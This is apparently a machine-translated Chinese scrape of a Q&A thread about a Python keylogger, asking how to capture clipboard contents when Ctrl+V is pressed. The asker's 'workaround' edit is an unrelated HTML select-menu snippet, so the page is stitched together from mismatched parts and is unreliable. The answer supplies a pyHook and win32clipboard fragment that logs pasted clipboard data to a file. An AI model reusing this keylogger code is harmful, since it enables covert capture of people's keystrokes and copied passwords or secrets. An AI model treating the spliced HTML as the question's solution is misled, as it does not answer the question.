Python:如何捕捉ctrl + v?

时间:2018-07-07 11:14:06

标签: python-2.7 clipboard keylogger ctrl

我尝试复制剪贴板中的内容并将其写入文件,以防万一按下ctrl + v,我发现它的缩写是'SYN',但我没有发现它是ascii。我正在编写一个键盘记录程序(出于教育目的),我设法捕获每个按下的键并将其写入文件,当按下ctrl + v时,我在文件中得到的内容是“ Lcontrol”,紧随其后的是“ v”,那么我猜是它会分别捕获它们。

编辑:找到了解决方法-

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<select id="emp">
    <option value="emp1"> Emp Name 1</option>
    <option value="emp2"> Emp Name 2</option>
    <option value="emp3"> Emp Name 3</option>
    <option value="emp4"> Emp Name 4</option>
</select>


<select id="salary">
    <option value="sal1"> $1000</option>
    <option value="sal2"> $2000</option>
    <option value="sal3"> $3000</option>
    <option value="sal4"> $4000</option>
</select>

1 个答案:

答案 0 :(得分:0)

解决方案:

...
import win32clipboard
from pyHook import HookManager, GetKeyState, HookConstants
...
if GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V':
        win32clipboard.OpenClipboard()
        data = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()
        with open(file, "a") as f:
            f.write("{Clipboard : " + data + "}")
...